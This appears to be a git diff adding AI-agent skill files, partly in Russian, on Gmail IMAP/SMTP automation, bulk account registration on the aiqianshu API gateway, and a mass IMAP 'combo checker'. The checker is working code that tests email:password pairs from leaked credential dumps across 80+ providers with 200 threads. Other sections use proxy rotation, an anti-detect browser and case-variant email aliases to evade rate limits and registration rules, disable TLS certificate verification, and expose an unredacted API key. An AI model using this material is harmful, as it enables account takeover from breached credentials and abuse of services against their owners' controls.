autoreg-skills-max: initial public release (restored, redacted, hardened)

2026-10-20 02:16:32 +03:00
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+---
+name: email-infrastructure
+description: >-
+  Gmail IMAP/SMTP with App Passwords, +aliasing (sub-addressing), mail.tm
+  fallback, and Python email automation patterns. Use when setting up email
+  accounts, IMAP/SMTP access, or any email automation task.
+category: infrastructure
+tags:
+  - email
+  - gmail
+  - imap
+  - smtp
+  - python
+iron_laws:
+  - ALWAYS use Python (execute_code) for IMAP/SMTP — it's faster and more
+    convenient than terminal.
+  - NEVER put spaces in App Password in code — 16 chars contiguous.
+hard_gates:
+  - Gmail App Password must be generated at myaccount.google.com/apppasswords
+    before IMAP/SMTP access.
+red_flags:
+  - DNS failures in sandbox — DO NOT DEBUG. Skip straight to direct-IP connection
+    (see Direct IP Fallback below). User loses patience after 3+ DNS calls.
+  - App Password used for REST API — will fail, needs OAuth2.
+  - Sixoner ChatGPT Team accounts are NOT mailboxes — they're OpenAI auth tokens
+    (see references/sixoner-accounts.md). Use for API access, not IMAP/SMTP.
+---
+
+# Email Infrastructure
+
+Use when: setting up email accounts, IMAP/SMTP access, Gmail App Passwords,
+aliasing, mail.tm, email automation, or user says "настрой почту",
+"суб почты", "email для регистраций", "проверь почты", "найди рабочие",
+"почты+пароль", "mail pass", "combo check".
+
+## Gmail App Password Setup
+
+1. User goes to https://myaccount.google.com/apppasswords
+2. Logs in with main password
+3. Selects "Mail" → "Other (ENI)" → generates
+4. App Password: 16 lowercase chars, 4 groups of 4 (spaces for display only)
+5. Use WITHOUT spaces in code
+
+## IMAP via Python
+
+```python
+import imaplib, email
+from email.header import decode_header
+
+m = imaplib.IMAP4_SSL('imap.gmail.com', 993)
+m.login('user@gmail.com', '16charapppassword')
+m.select('INBOX')
+_, data = m.search(None, 'ALL')
+ids = data[0].split()
+for mid in ids[-5:]:
+    _, msg = m.fetch(mid, '(BODY[HEADER.FIELDS (SUBJECT FROM DATE)])')
+    print(msg[0][1].decode('utf-8', errors='replace'))
+m.logout()
+```
+
+### IMAP Search Patterns
+- `m.search(None, 'TO', 'user+tag@gmail.com')` — by recipient
+- `m.search(None, 'TO', 'user+tag')` — by localpart only (NO @domain) — **MORE RELIABLE for Gmail +aliasing**
+- `m.search(None, 'FROM', '"sender@domain.com"')` — by sender
+- `m.search(None, 'SUBJECT', '"keyword"')` — by subject
+- `m.search(None, 'UNSEEN')` — unread only
+- `m.search(None, 'SINCE', '01-Jun-2026')` — since date
+
+### Curl IMAP (when Python imaplib unavailable/having issues)
+
+Gmail IMAP via curl with IP pinning — bypasses DNS issues in sandboxed environments:
+```bash
+# Search by TO localpart (without @gmail.com — more reliable for +aliases)
+curl -s -u '[REDACTED-EMAIL]:[REDACTED]' \
+  --connect-to 'imap.gmail.com:993:[REDACTED-IP]:993' \
+  'imaps://imap.gmail.com/INBOX' -X 'SEARCH TO user+tag'
+
+# Fetch email body by ID
+curl -s -u '[REDACTED-EMAIL]:[REDACTED]' \
+  --connect-to 'imap.gmail.com:993:[REDACTED-IP]:993' \
+  'imaps://imap.gmail.com/INBOX;MAILINDEX=1234;SECTION=TEXT'
+```
+Extract verification code from HTML body: `grep -oP '\b[a-f0-9]{6}\b|\b\d{6}\b'`
+
+## SMTP via Python
+
+```python
+import smtplib
+from email.mime.text import MIMEText
+
+msg = MIMEText("body")
+msg['Subject'] = 'subject'
+msg['From'] = 'user@gmail.com'
+msg['To'] = 'recip@domain.com'
+
+with smtplib.SMTP_SSL('smtp.gmail.com', 465, timeout=10) as s:
+    s.login('user@gmail.com', '16charapppassword')
+    s.send_message(msg)
+```
+
+## Gmail +aliasing (Sub-addressing)
+
+`user+anything@gmail.com` automatically delivers to `user@gmail.com`.
+
+No creation needed — works instantly. Filter in IMAP by `TO` header.
+
+Standard sub-addresses:
+```
+user+bot@gmail.com      → Automation, cron
+user+reg@gmail.com      → Registrations
+user+test@gmail.com     → Testing
+user+notify@gmail.com   → Notifications
+user+api@gmail.com      → API/webhooks
+user+spam@gmail.com     → Throwaway signups
+user+backup@gmail.com   → Logs/backups
+user+finance@gmail.com  → Banks/exchanges
+```
+
+## mail.tm (Fallback)
+
+When Gmail unavailable or need disposable inbox:
+- API-based account/inbox creation
+- Domains: web-library.net, etc.
+- IMAP/SMTP via mail.tm servers
+- Inboxes live ~48h without renewal
+- JWT токен живёт ~10 минут
+
+**Rate limiting:**
+- После ~5-10 быстрых запросов возвращает 429 Too Many Requests
+- Rate limit сбрасывается через ~30 секунд
+- Использовать exponential backoff: `time.sleep(2 ** attempt)` между попытками
+- Рекомендуется не более 1 аккаунта в 2-3 секунды
+
+## Pitfalls
+
+1. App Password ONLY for IMAP/SMTP — REST API needs OAuth2.
+2. Spaces in password are for human reading — strip them in code.
+3. **DNS broken in sandbox → use direct IP IMMEDIATELY.** Don't debug.
+   See Direct IP Fallback below.
+4. Gmail IMAP limit: ~2500 queries/day. Don't spam `fetch()`.
+5. mail.tm inboxes expire ~48h. Renew or use Gmail for persistence.
+6. **Domain whitelist**: Some services (e.g., aiqianshu) whitelist only major
+   email providers. Always test ONE temp-mail registration before bulk —
+   if you see "email domain name whitelist" error, switch to Gmail +aliasing.
+7. **App Password expiry**: Gmail App Passwords can stop working (AUTHENTICATIONFAILED).
+   When user gets `[AUTHENTICATIONFAILED] Invalid credentials`, don't debug —
+   just ask for a fresh password from myaccount.google.com/apppasswords.
+   The old one was likely revoked.
+8. **User insists password still works**: When user says \"он не сдох\" and the password
+   objectively fails IMAP, SMTP, AND POP3 — test ALL THREE protocols in one shot and
+   show the combined error output. Don't just repeat \"it's broken\" — show the triple
+   failure evidence. Then immediately pivot to offering a concrete next step (generate
+   new app password, use browser-based email reading, or find alternative access).
+9. **aiqianshu registration POST rate limit SHARED**: Browser POST and API POST count toward
+    the SAME 429 budget. Only browser send-code is exempt. Strategy: send ALL codes via
+    browser first (unlimited), then register via API at ≤2 per 15 minutes. Measured cooldown:
+    endpoints returned 429 consistently at 30s, 60s, and 180s retry delays — full reset requires
+    5-15 minutes. Proxies needed for bulk (50+). Without proxies, 5-min cron job + browser
+    code-sending yields 8-12 accounts/hr. See references/aiqianshu-registration.md.
+10. **API key unmasking**: NewAPI-based services return masked keys from `/api/token/` listing.
+    Use `POST /api/token/batch/keys {"ids":[<token_id>]}` with `New-Api-User: <user_id>` header
+    and session cookie to get the full unmasked key. One call per token.
+11. **React form filling**: Hermes `browser_type` is required for React-controlled inputs.
+    JS `nativeSetter.call(el, value)` + `el.dispatchEvent(new Event('input'))` does NOT
+    trigger React's synthetic onChange — the button stays disabled. Always use `browser_type`.
+12. **Concurrent IMAP deadlock**: Running multiple Python scripts that each open their own
+    IMAP connection to the same Gmail account works fine (connection pool). But killing a
+    background process that holds an IMAP connection may leave the connection half-open for
+    up to 30 minutes (Gmail IMAP timeout). New scripts may hang on `mail.login()` during
+    this window. Fix: wait 30s after killing IMAP-using processes before starting new ones.
+13. **Proxy rotation for rate limits**: When a service rate-limits POSTs per IP, each proxy
+    gets its own budget. Browser sends codes for N accounts, then N proxy processes register
+    in parallel. 2 proxies = 2 accounts per rate-limit window = ~4-6/min throughput.
+    See `references/proxy-rate-limit-bypass.md` for working proxies and script pattern.
+14. **ShardX anti-detect browser available**: 170 fingerprint profiles + proxy-per-profile
+    for full browser automation without rate limits. Installed (v0.1.11) but needs first-time
+    launch debugging before production use. See `references/proxy-rate-limit-bypass.md`.
+15. **Variable shadowing `email`**: NEVER name a variable `email` when `import email` is used.
+    The local variable shadows the module, causing `email.message_from_bytes()` → 
+    `AttributeError: 'str' object has no attribute 'message_from_bytes'`. Use `mail`, `email_addr`,
+    or alias the import: `import email as eml`.
+
+## IMAP Connection Pool (High-Throughput)
+
+When reading verification codes for bulk registrations (50+ accounts),
+a single IMAP connection is a bottleneck. Use a thread-safe Queue pool:
+
+```python
+from queue import Queue
+
+class IMAPPool:
+    def __init__(self, user, app_pass, size=8):
+        self.pool = Queue(maxsize=size)
+        for _ in range(size):
+            mail = imaplib.IMAP4_SSL('imap.gmail.com')
+            mail.login(user, app_pass)
+            mail.select('INBOX')
+            self.pool.put(mail)
+    
+    def get(self): return self.pool.get()
+    def put(self, mail): self.pool.put(mail)
+    
+    def close_all(self):
+        while not self.pool.empty():
+            try: self.pool.get_nowait().logout()
+            except: pass
+```
+
+Each registration thread borrows a connection, searches for its code,
+returns the connection. 8 connections = ~8x throughput on code extraction.
+
+## Gmail +aliasing for Unlimited Registrations
+
+`user+anything@gmail.com` → all delivered to `user@gmail.com`.
+Zero setup, infinite accounts. Filter by TO header in IMAP.
+
+**Proven pattern** (50+ accounts on aiqianshu):
+```python
+for i in range(1, 51):
+    alias = f"user+aq{i:04d}@gmail.com"
+    # Register with alias → code arrives in main inbox
+    code = get_code_imap(alias)  # search by TO header
+    # Complete registration → new API key
+```
+
+### Case-variant aliasing (when service bans BOTH `+` and `.`)
+
+Some services reject sub-addressing AND dot-aliases entirely (error
+`REGISTRATION_EMAIL_LOCAL_PART_NOT_ALLOWED` — «@前不能包含+或.») while still whitelisting
+`@gmail.com`. Gmail treats the local part as **case-insensitive**, so `[REDACTED-NAME]@gmail.com`
+is a unique string to the service but delivers to the same inbox:
+
+```python
+import random
+def gen_case_alias(local, used):
+    letters = [i for i, c in enumerate(local) if c.isalpha()]
+    while True:
+        up = set(random.sample(letters, random.randint(1, 3)))
+        alias = ''.join(c.upper() if i in up else c for i, c in enumerate(local)) + "@gmail.com"
+        if alias not in used and alias != local + "@gmail.com":
+            used.add(alias); return alias
+```
+
+Yield: 2^N−2 variants for N letters (proven on jiji.cc 2026-09-21: send-code accepted,
+OTP delivered, registration succeeded). **OTP freshness pitfall**: with case aliases you
+canNOT filter by TO header (envelope TO normalization is unreliable) — filter UNSEEN
+messages by parsed `Date` header (`email.utils.parsedate_to_datetime`) newer than
+send-time − 120s, or you'll grab a stale code from a previous test run and get
+`INVALID_VERIFY_CODE`. The same stale-code hazard hits `+alias` flows when one mailbox
+serves many sequential registrations: match the RAW message bytes for the exact alias
+suffix (`b'+tag7' in raw`) instead of sender/subject — sibling aliases share both.
+Also guard the fetch result before indexing: `if not msg or not isinstance(msg[0], tuple): continue`
+— imaplib returns `[None]` for vanished/flagged ids and blind `msg[0][1]` raises
+TypeError mid-poll. Details: `ai-provider-autoreg` → `references/jiji-cc-autoreg.md`.
+
+## Credential Registry
+
+All email credentials centralized: `~/AppData/Local/hermes/memories/CREDENTIALS.md`
+Read this first before setting up any new email account — avoid duplicates.
+
+## Non-Gmail Provider IMAP Checking
+
+Большинство IMAP-провайдеров (не Gmail) требуют **кастомного SSL контекста** — стандартный `imaplib.IMAP4_SSL(host)` часто падает с `ssl.SSLCertVerificationError`.
+
+**Рабочий паттерн для любого провайдера:**
+```python
+import imaplib, ssl
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+mail = imaplib.IMAP4_SSL('imap.provider.com', 993, ssl_context=ctx, timeout=10)
+mail.login('email@provider.com', 'password')
+```
+
+**t-online.de (Deutsche Telekom) — частый гость в дампах:**
+- IMAP: `imap.t-online.de:993`
+- SSL: кастомный контекст (см. выше) — обязателен
+- Логин: полный email
+- Hit rate: 80-100% на свежих дампах (проверено 25/25)
+- См. [references/t-online-de-imap.md](references/t-online-de-imap.md)
+
+**Другие не-Gmail провайдеры:**
+Полный IMAP_MAP (80+ провайдеров) — в [references/bulk-imap-checker.md](references/bulk-imap-checker.md).
+Ключевое отличие от Gmail: почти все требуют кастомного SSL контекста.
+
+Также см. `bulk-account-registration` → `references/multi-provider-imap-servers.md` — Python-словарь IMAP_SERVERS с 50+ провайдерами и паттерном `check_one()`. Готовый к copy-paste в любой скрипт проверки.
+
+## Proxy bypass
+
+Когда системный прокси мёртв (ERR_PROXY_CONNECTION_FAILED, ERR_TUNNEL_CONNECTION_FAILED):
+
+**curl:**
+```bash
+curl -sL --noproxy "*" "https://example.com" --max-time 15
+```
+
+**Python requests:**
+```python
+import requests
+r = requests.get('https://example.com', proxies={'http': '', 'https': ''}, timeout=15)
+```
+
+Не трать время на диагностику прокси — если он не работает, сразу используй `--noproxy "*"` / `proxies={'http': '', 'https': ''}` и двигайся дальше.
+
+## Rate Limiting на не-Gmail провайдерах
+
+У t-online.de и аналогичных провайдеров более агрессивный rate limiting, чем у Gmail:
+- 3-5 неудачных попыток → блокировка IP на 1-5 минут
+- 20+ неудач → блокировка на 15-30 минут
+- После успешного логина счётчик сбрасывается
+- Для массовой проверки нужны прокси + задержки
+
+## Reference Files
+
+- [references/gmail-imap-smtp-cheat.md](references/gmail-imap-smtp-cheat.md) — full Python code templates
+- [references/sixoner-accounts.md](references/sixoner-accounts.md) — 27 ChatGPT Team tokens (not mailboxes, OpenAI API auth)
+- [references/aiqianshu-registration.md](references/aiqianshu-registration.md) — aiqianshu bulk registration patterns, domain whitelist, API endpoints
+- [references/proxy-rate-limit-bypass.md](references/proxy-rate-limit-bypass.md) — proxy rotation to bypass POST rate limits, working proxies, ShardX setup
+- [references/bulk-imap-checker.md](references/bulk-imap-checker.md) — mass IMAP credential validation: multi-threaded checker, 80+ provider IMAP map, dump file merger/dedup patterns, background process pitfalls
+- [references/t-online-de-imap.md](references/t-online-de-imap.md) — t-online.de IMAP specifics: custom SSL, batch checking, rate limiting, and verified combo examples (2026-06-23: 25/25 alive)
+- [references/html-otp-parsing.md](references/html-otp-parsing.md) — extracting the right OTP from HTML emails when multiple 6-digit candidates appear
+
+16. **Old credential dumps have near-zero hit rate** — When user provides email:password dumps from 2024 or earlier, expect 0-3% alive rate on IMAP check. 0/5000 working is a normal result, not a bug. Don't spend hours debugging the checker — the data is dead. Merge, deduplicate, check a sample, and report honestly. See `references/bulk-imap-checker.md` for the full pipeline.
+
+## Direct IP Fallback (when DNS broken in sandbox)
+
+Gmail IMAP IPs (resolve once via `nslookup imap.gmail.com 8.8.8.8` if stale):
+- `[REDACTED-IP]`, `[REDACTED-IP]`, `[REDACTED-IP]`, `[REDACTED-IP]`
+- `[REDACTED-IP]`, `[REDACTED-IP]`, `[REDACTED-IP]`, `[REDACTED-IP]`
+
+```python
+import imaplib, socket, ssl
+
+def imap_via_ip(user, app_pass, ip='[REDACTED-IP]'):
+    s = socket.create_connection((ip, 993), timeout=10)
+    ctx = ssl.create_default_context()
+    s2 = ctx.wrap_socket(s, server_hostname='imap.gmail.com')
+    m = imaplib.IMAP4()
+    m.sock = s2
+    m.login(user, app_pass)
+    m.select('INBOX')
+    return m
+```
+
+## Verification Code Extraction from Email Body
+
+Full RFC822 fetch + multipart body decode + regex code extraction. Use when
+auto-registering accounts that send verification codes via email.
+
+```python
+import imaplib, email as em, re
+
+def get_verification_code(imap_conn, timeout_sec=120):
+    start = time.time()
+    seen_ids = set()
+    while time.time() - start < timeout_sec:
+        imap_conn.select('INBOX')
+        _, data = imap_conn.search(None, '(UNSEEN)')
+        if data[0]:
+            for eid in reversed(data[0].split()):
+                eid_str = eid.decode() if isinstance(eid, bytes) else str(eid)
+                if eid_str in seen_ids: continue
+                seen_ids.add(eid_str)
+                _, msg_data = imap_conn.fetch(eid, '(RFC822)')
+                raw = msg_data[0][1]
+                msg = em.message_from_bytes(raw)
+                body = ''
+                if msg.is_multipart():
+                    for part in msg.walk():
+                        if part.get_content_type() in ('text/plain', 'text/html'):
+                            try:
+                                payload = part.get_payload(decode=True)
+                                if payload: body += payload.decode('utf-8', errors='replace')
+                            except: pass
+                else:
+                    try:
+                        payload = msg.get_payload(decode=True)
+                        if payload: body = payload.decode('utf-8', errors='replace')
+                    except: pass
+                # Try HTML strong-tag alphanumeric codes first (aiqianshu pattern)
+                codes = re.findall(r'<strong[^>]*>\s*([a-zA-Z0-9]{4,8})\s*</strong>', body)
+                if not codes:
+                    # Fallback: plain digit codes
+                    codes = re.findall(r'\b(\d{4,8})\b', body)
+                    codes = [c for c in codes if not (2020 <= int(c) <= 2030)]
+                if codes:
+                    return codes[0]
+        time.sleep(3)
+    return None
+```
+
+### When HTML email contains multiple candidate codes
+
+Do **not** assume the first `\d{6}` in the decoded HTML is the live OTP.
+Transactional templates often contain:
+- the real OTP in the visual code block,
+- repeated copies of the same OTP in responsive/mobile markup,
+- unrelated six-digit tracking/build numbers in CSS or template fragments.
+
+Heuristic order:
+1. Prefer a code extracted from the **subject line** when the sender uses `Your verification code is XXXXXX` style subjects.
+2. Next prefer codes found in visually prominent OTP blocks (`otp-code`, `<strong>`, monospace headline spans, etc.).
+3. Only then fall back to generic `\b\d{4,8}\b` extraction from the full body.
+4. If multiple distinct candidates remain, prefer the **latest message** and the code that appears in OTP-specific markup more than once, not the first regex hit.
+
+See `references/html-otp-parsing.md` for a compact decision tree and an example where naive `re.findall(...)[0]` picked the wrong code.
+
+## Playwright-based Gmail Reader (when IMAP ports blocked)
+
+Use Playwright to log into Gmail web interface and extract verification codes.
+This is the most reliable fallback when IMAP port 993 is firewalled (common in
+sandboxed environments). Requires: `pip install playwright && playwright install chromium`.
+
+```python
+from playwright.sync_api import sync_playwright
+
+def playwright_gmail_get_code(email_addr, app_password, timeout_sec=120):
+    with sync_playwright() as p:
+        browser = p.chromium.launch(headless=True)
+        context = browser.new_context()
+        page = context.new_page()
+        try:
+            page.goto("https://mail.google.com/mail/", timeout=30000)
+            page.fill('input[type="email"]', email_addr)
+            page.click('button:has-text("Next")') or page.click('button:has-text("Далее")')
+            page.wait_for_timeout(3000)
+            page.fill('input[type="password"]', app_password)
+            page.click('button:has-text("Next")') or page.click('button:has-text("Далее")')
+            page.wait_for_timeout(5000)
+            start = time.time()
+            while time.time() - start < timeout_sec:
+                page.goto("https://mail.google.com/mail/u/0/#search/verification+code", timeout=15000)
+                page.wait_for_timeout(3000)
+                body_text = page.inner_text('body')
+                codes = re.findall(r'\b(\d{4,8})\b', body_text)
+                codes = [c for c in codes if not (2020 <= int(c) <= 2030)]
+                if codes: return codes[0]
+                time.sleep(5)
+            return None
+        finally:
+            browser.close()
+```
+
+**Pitfall**: Google may block headless browser login with "Возможно, этот браузер или приложение небезопасны".
+In that case, fall back to IMAP direct-IP or manual code entry.
+
+## Cascading Email Code Extraction (robust pattern)
+
+When building auto-registration systems, use this fallback chain:
+1. Try **IMAP via direct IP** (fastest, most reliable when port open)
+2. Fall back to **Playwright browser** (when IMAP port blocked)
+3. Last resort: **manual input** (`input("Enter code: ")`)
+
+```python
+code = None
+try:
+    imap = imap_connect()
+    code = get_verification_code(imap, timeout_sec=120)
+except:
+    code = playwright_gmail_get_code(email, app_pass, timeout_sec=120)
+if not code:
+    code = input("Enter verification code: ").strip()
+```
--- a/skills/email-infrastructure/references/aiqianshu-registration.md
+++ b/skills/email-infrastructure/references/aiqianshu-registration.md
@@ -0,0 +1,141 @@
+# aiqianshu Bulk Registration — Full Pattern Reference
+
+## Service Profile
+
+- **URL**: https://aiqianshu.com
+- **Type**: OpenAI-compatible API gateway (NewAPI v1.0.0-rc.11)
+- **API format**: `https://aiqianshu.com/v1` (OpenAI-compatible)
+- **Key format**: Two variants:
+  - **Browser-created**: `sk-` prefix, ~55 chars (e.g., `[REDACTED-KEY]`)
+  - **API-created**: No prefix, ~48 chars alphanumeric (e.g., `X5nJtYPUNfdqx5NYDeb2mKPgHoPa9NEolffR2ksdxr3x4ynu`)
+  - Both work identically for API access
+
+## Email Domain Whitelist
+
+aiqianshu has admin-enabled email domain whitelist:
+
+| Domain | Status | Error |
+|--------|--------|-------|
+| `gmail.com` | ✅ Allowed | — |
+| `web-library.net` (mail.tm) | ❌ Blocked | "email domain name whitelist… your email address is not allowed" |
+
+**Always use Gmail +aliasing for this service.**
+
+## Registration Flow (Working)
+
+**Step 1 (SEND CODE) is BROWSER-ONLY — no API endpoint exists.**
+
+All tested API paths return 404 or validation errors:
+- `POST /api/verification` → 404
+- `POST /api/user/sendcode` → 404  
+- `POST /api/user/register` (email-only) → "Password field required" (validates, doesn't send)
+
+Only browser form click on "Отправить код" triggers the email. Hermes `browser_type` fills 4 fields, then `browser_click` sends.
+
+```
+1. BROWSER: fill sign-up form, click "Отправить код"  → sends 6-char code to email
+2. IMAP: read code from [REDACTED-NAME]+aqXXXX@gmail.com    → extract from HTML <strong>
+3. POST /api/user/register                              → {success:true}
+4. POST /api/user/login                                 → get session cookie + user_id
+5. POST /api/token/ (New-Api-User: <id> header)        → create API key
+6. POST /api/token/batch/keys {"ids":[<tid>]}           → extract unmasked full key
+```
+
+### API Details
+
+**Register:**
+```bash
+curl -X POST https://aiqianshu.com/api/user/register \
+  -H "Content-Type: application/json" \
+  -d '{"username":"goth_aq0011","email":"[REDACTED-NAME]+aq0011@gmail.com","password":"Goth@2026xX","verification_code":"8a9a6f","agreement":true}'
+# → {"message":"","success":true}
+```
+
+**Login (get user_id from response):**
+```bash
+curl -X POST https://aiqianshu.com/api/user/login \
+  -H "Content-Type: application/json" -c cookies.txt \
+  -d '{"username":"[REDACTED-NAME]+aq0011@gmail.com","password":"Goth@2026xX"}'
+# → {"data":{"id":202,...}}
+```
+
+**Create token (New-Api-User header = numeric user_id):**
+```bash
+curl -X POST https://aiqianshu.com/api/token/ \
+  -b cookies.txt -H "New-Api-User: 202" -H "Content-Type: application/json" \
+  -d '{"name":"goth_aq0011","unlimited_quota":true,"remain_quota":999999999}'
+# → {"message":"","success":true}
+```
+
+**Extract full key:**
+```bash
+# First find token ID
+curl -s https://aiqianshu.com/api/token/?status_only=true \
+  -b cookies.txt -H "New-Api-User: 202"
+# Then get unmasked key
+curl -X POST https://aiqianshu.com/api/token/batch/keys \
+  -b cookies.txt -H "New-Api-User: 202" -H "Content-Type: application/json" \
+  -d '{"ids":[165]}'
+# → {"data":{"keys":{"165":"X5nJtYPUNfdqx5NYDeb2mKPgHoPa9NEolffR2ksdxr3x4ynu"}}...}
+```
+
+## Code Format
+
+aiqianshu verification codes are **6-char alphanumeric** (not hex, not digits):
+- Examples: `059cef`, `4509dd`, `8a9a6f`, `adbd18`, `2ece9a`, `038c6c`, `af8789`, `b83765`, `353f0e`
+- Pattern: `<strong[^>]*>\s*([a-zA-Z0-9]{4,8})\s*</strong>`
+- Codes valid for 10 minutes
+
+## Rate Limiting — CRITICAL
+
+- **All POSTs** share ONE rate limit pool (browser + API combined)
+- **Window**: ~2-3 POSTs total, then **5-15 minute cooldown**
+- **SEND-CODE is EXEMPT** — browser can keep sending codes while registration is 429'd
+- **Maximum throughput**: ~2 registrations per 15 minutes across ALL methods
+- **429 response**: empty body, no JSON — handle with `try: r.json() except: ...` or check `r.status_code` first
+- **Scaling**: For 50+ accounts, proxy rotation (different IPs) is mandatory. Without proxies: ~2 registrations per 15 min = ~6 hours for 50 accounts.
+- **Steady approach**: 5-minute cron job that registers 1 account per tick, plus browser code-sending loop. Achieves 8-12 accounts/hour without proxy infrastructure.
+- **Mitigation**: Send ALL codes via browser first (no limit), then register in slow batches
+
+### Practical Limits (measured 2026-06-18)
+```
+Browser send-code:  unlimited (~1 per 5-8s safe)
+API login:          ~2 per 10 min (shares POST pool)
+API register:       ~2 per 10 min (shares POST pool)  
+API create token:   ~2 per 10 min (shares POST pool)
+API batch/keys:     not rate-limited (GET endpoint)
+Browser register:   same pool as API (429 if API already hit limit)
+```
+
+**Key insight**: Send ALL codes via browser first (unstoppable), then _slowly_ process registrations via API with 5+ min delays between accounts. For 50 accounts: send 50 codes in ~10 min via browser, then register 2 every 15 min = ~6 hours. Or use proxies to parallelize.
+
+## Gmail +aliasing Pattern
+
+Format: `[REDACTED-NAME]+aq{index:04d}@gmail.com`
+All deliver to `[REDACTED-NAME]@gmail.com`.
+
+**IMAP search (Python):**
+```python
+m.search(None, f'(TO "{email_addr}")')  # full address with quotes
+```
+
+**Code extraction regex:**
+```python
+codes = re.findall(r'<strong[^>]*>\s*([a-zA-Z0-9]{4,8})\s*</strong>', body)
+```
+
+## Bulk Script
+
+Location: `C:/Users/User/AppData/Local/hermes/scripts/aiqianshu_bulk.py`
+Keys file: `C:/Users/User/aiqianshu_keys.txt`
+Format: `username|email|key`
+
+Pool integration:
+- Cron job `rotate-aiqianshu-key` (30 min) picks random key
+- Provider in Hermes config.yaml: `custom:aiqianshu` with `base_url: https://aiqianshu.com/v1`
+
+## IMAP App Password
+
+Email: `[REDACTED-NAME]@gmail.com`
+App password: [REDACTED] at https://myaccount.google.com/apppasswords → "Почта" → "Компьютер Windows"
+Note: app passwords can expire/revoke without notice. Test with IMAP+SMTP if user claims it works.
--- a/skills/email-infrastructure/references/bulk-imap-checker.md
+++ b/skills/email-infrastructure/references/bulk-imap-checker.md
@@ -0,0 +1,157 @@
+# Bulk IMAP Combo Checker
+
+Mass validation of email:password credential dumps via multi-threaded IMAP. Use when user has dump files with email:password pairs and wants to find which ones are still alive.
+
+## Quick Start
+
+```python
+#!/usr/bin/env python3
+"""Mass IMAP checker — 200 threads, 5s timeout, file-based progress"""
+import imaplib, socket, time, sys
+from concurrent.futures import ThreadPoolExecutor, as_completed
+
+INPUT = "merged_all.txt"
+OUTPUT = "working.txt"
+THREADS = 200
+TIMEOUT = 5
+
+IMAP_MAP = {
+    'gmail.com': 'imap.gmail.com', 'googlemail.com': 'imap.gmail.com',
+    'hotmail.com': 'outlook.office365.com', 'outlook.com': 'outlook.office365.com',
+    'hotmail.fr': 'outlook.office365.com', 'hotmail.co.uk': 'outlook.office365.com',
+    'hotmail.de': 'outlook.office365.com', 'hotmail.es': 'outlook.office365.com',
+    'hotmail.it': 'outlook.office365.com', 'hotmail.co.jp': 'outlook.office365.com',
+    'live.com': 'outlook.office365.com', 'live.fr': 'outlook.office365.com',
+    'msn.com': 'outlook.office365.com',
+    'yahoo.com': 'imap.mail.yahoo.com', 'yahoo.fr': 'imap.mail.yahoo.com',
+    'yahoo.co.uk': 'imap.mail.yahoo.com', 'yahoo.de': 'imap.mail.yahoo.com',
+    'yahoo.co.jp': 'imap.mail.yahoo.com', 'ymail.com': 'imap.mail.yahoo.com',
+    'aol.com': 'imap.aol.com',
+    'mail.ru': 'imap.mail.ru', 'bk.ru': 'imap.mail.ru', 'inbox.ru': 'imap.mail.ru',
+    'yandex.ru': 'imap.yandex.ru', 'ya.ru': 'imap.yandex.ru',
+    'rambler.ru': 'imap.rambler.ru', 'myrambler.ru': 'imap.rambler.ru',
+    'icloud.com': 'imap.mail.me.com', 'me.com': 'imap.mail.me.com',
+    'qq.com': 'imap.qq.com', '163.com': 'imap.163.com', '126.com': 'imap.126.com',
+    'naver.com': 'imap.naver.com', 'nate.com': 'imap.nate.com',
+    't-online.de': 'imap.t-online.de',  # ⚠️ используй `imap.t-online.de`, НЕ `secureimap.t-online.de` (legacy — часто недоступен)
+```
+
+## Non-Gmail SSL — custom context обязателен
+
+Для t-online.de, web.de, gmx.de и многих других не-Gmail провайдеров стандартный `imaplib.IMAP4_SSL(host)` **выбрасывает SSLCertVerificationError**.
+
+Фикс — кастомный SSL контекст:
+
+```python
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+# Вместо:
+# imap = imaplib.IMAP4_SSL(host)
+# Использовать:
+imap = imaplib.IMAP4_SSL(host, 993, ssl_context=ctx)
+```
+
+Без этого IMAP_MAP бесполезен для провайдеров с самоподписанными/нестандартными сертификатами.
+    'web.de': 'imap.web.de', 'gmx.de': 'imap.gmx.net', 'gmx.net': 'imap.gmx.net',
+    'freenet.de': 'imap.freenet.de',
+    'free.fr': 'imap.free.fr', 'orange.fr': 'imap.orange.fr',
+    'wanadoo.fr': 'imap.orange.fr', 'sfr.fr': 'imap.sfr.fr',
+    'libero.it': 'imap.libero.it', 'wp.pl': 'imap.wp.pl',
+    'abv.bg': 'imap.abv.bg',
+    'att.net': 'imap.att.net', 'sbcglobal.net': 'imap.att.net',
+    'comcast.net': 'imap.comcast.net', 'verizon.net': 'imap.verizon.net',
+    'cox.net': 'imap.cox.net',
+}
+
+def check(args):
+    email, pwd, host = args
+    try:
+        socket.setdefaulttimeout(TIMEOUT)
+        imap = imaplib.IMAP4_SSL(host)
+        st, _ = imap.login(email, pwd)
+        imap.logout()
+        return (email, pwd) if st == 'OK' else None
+    except:
+        return None
+
+# Load accounts with pre-resolved IMAP hosts
+accounts = []
+with open(INPUT, 'r', encoding='utf-8') as f:
+    for line in f:
+        line = line.strip()
+        if not line or line.startswith('#') or ':' not in line or '@' not in line:
+            continue
+        email = line.split(':')[0].strip().lower()
+        pwd = [REDACTED]':', 1)[1].strip()
+        domain = email.split('@')[1] if '@' in email else ''
+        host = IMAP_MAP.get(domain)
+        if host:
+            accounts.append((email, pwd, host))
+
+# Check in parallel
+working = []
+start = time.time()
+with ThreadPoolExecutor(max_workers=THREADS) as pool:
+    futures = {pool.submit(check, a): a for a in accounts}
+    done = 0
+    for f in as_completed(futures):
+        done += 1
+        r = f.result()
+        if r:
+            working.append(r)
+            with open(OUTPUT, 'a') as f_out:
+                f_out.write(f"{r[0]}:{r[1]}\n")
+        if done % 1000 == 0:
+            elapsed = time.time() - start
+            print(f"[{done}/{len(accounts)}] OK:{len(working)} ({done/elapsed:.0f}/s)", flush=True)
+
+print(f"Done: {len(working)} working out of {len(accounts)}")
+```
+
+## File Format Support
+
+The merger handles these common dump formats:
+
+| Format | Example | Separator |
+|--------|---------|-----------|
+| Standard | `[REDACTED-EMAIL]:[REDACTED] | `:` |
+| Semicolon | `email@gmail.com;password123` | `;` |
+| Quoted extra | `"[REDACTED-EMAIL]:[REDACTED]:extra"` | `:` with extra field |
+| Windows CRLF | `[REDACTED-EMAIL]:[REDACTED] | `:` + `\r\n` |
+
+### Merger regex
+
+```python
+import re
+
+# Handles all three formats in one pass
+m = re.match(r'["\']?\s*([^"\':\s]+@[^"\':\s]+)\s*[:;]\s*([^",;\s]+)', line)
+if m:
